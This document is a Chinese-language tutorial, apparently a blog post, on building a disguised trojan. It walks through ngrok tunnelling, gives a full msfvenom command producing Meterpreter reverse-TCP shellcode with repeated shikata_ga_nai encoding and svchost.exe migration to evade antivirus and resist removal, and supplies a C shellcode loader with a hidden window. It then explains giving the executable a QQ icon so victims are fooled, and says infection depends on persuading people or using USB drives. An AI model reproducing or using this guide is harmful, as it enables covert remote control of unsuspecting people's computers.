一. 配置ngrok准备内网穿透
内网穿透的必要性和原理就不用说了,直接说操作。首先到ngrok官网去注册一个号,国内也有一个sunny ngrok,但是我用了几次全失败了,所以推荐国外的,网址是:https://ngrok.com/。
我注册的时候面临验证码刷不出来,所以建议选择用github账号登陆就好。登陆好之后就在kali下载好对应版本的客户端。下载好之后你需要在kali上用他给你的凭证进行登陆—-命令行输入
./ngrok authtoken (你的凭证字符串)。
凭证可以在官网上复制。
然后接着输入:
./ngrok tcp 1234这的1234是你本地的端口,出现如下画面说明你成功了,然后让他一直开着。
左边就是给你用的端口,右边就是你本地的端口
然后你可以通过ping这个给你的网址得到IP,这个是ping不通的,不过可以得到IP就可以了。这个每次重新穿透的时候都会更换远程端口,这是比较egg疼的,不过免费嘛,算可以了。
二.木马的伪装与简单免杀木马面临的最基本的问题就是免杀,如果不能免杀,被杀毒软件发现,其作用几乎为零,至于怎么感染别人,就得看你的忽悠能力或者USB的方式,但是首要的应该是免杀。
我采用的是比较简单的免杀方式,依靠msf生成的shellcode免杀。
在命令行输入:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=52.14.61.47 LPORT=13098 -e x86/shikata_ga_nai -i 15 -b \'\x00\\' PrependMigrate=true PrependMigrateProc=svchost.exe -f c > /root/Desktop/shellcode.c这里的paylload选择windows/meterpreter/reverse_tcp,LHOST和LPORT分别填ngrok给你的网址和端口,-e x86/shikata_ga_nai -i 15是用-e x86/shikata_ga_nai编码15次,而PrependMigrate=true PrependMigrateProc=svchost.exe使这个程序默认会迁移到svchost.exe进程,自己测试的时候不建议到这个进程而是其他的持久进程,这样别人打开之后就无法再常规的去关闭回连的会话。你还可以使用windows/meterpreter/reverse_tcp_rc4这个payload,对会话进行加密,增加免杀能力。
相信大家都试过,直接输出exe文件就算注入其他软件和进行编码n遍也会马上被查杀出来。多次测试发现用x86/shikata_ga_na编码超过12次以上再通过shellcode编译出来都能免杀。
如下图你的桌面会有一个shellcode.c文件
将其移到 windows,用记事本打开会有 :unsigned char buf[] =”一长串数字”
接着就开始编译木马,我使用的是vs2015
下载链接::https://pan.baidu.com/s/1BgxZeCTZoFvpm_lhxcRXCw 密码:bchi
在visual studio下新建一个c++的win32项目将以下代码模板复制进去,在把你得到的shellcode那长串数字复制到shellcode的位置。
#include<stdio.h>
#include<windows.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //去除窗口
unsigned char shellcode[]= (这里就是shellcode)
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
编译方法网上有很多种,这个时候已经可以编译了,但是我们还可以对图标进行更改伪装:右击你的项目—>添加—>资源—>图标—>新建,再用电脑的搜索查找*.icon,找到 QQ的图标找到你这个项目的文件夹下会有一个1icon.ico文件,将QQ的图标改成1icon.ico,拖进去替换掉原来的那个图标文件
然后vs平台就会出现下图:
这个时候你再编译出来就会是一个QQ图标的木马。具体情况下你可以以此方法任意改图标再重命名,使你的木马更加具有迷惑性。
我们再使用国内普遍的360杀毒软件测试一下效果,证明可以免杀了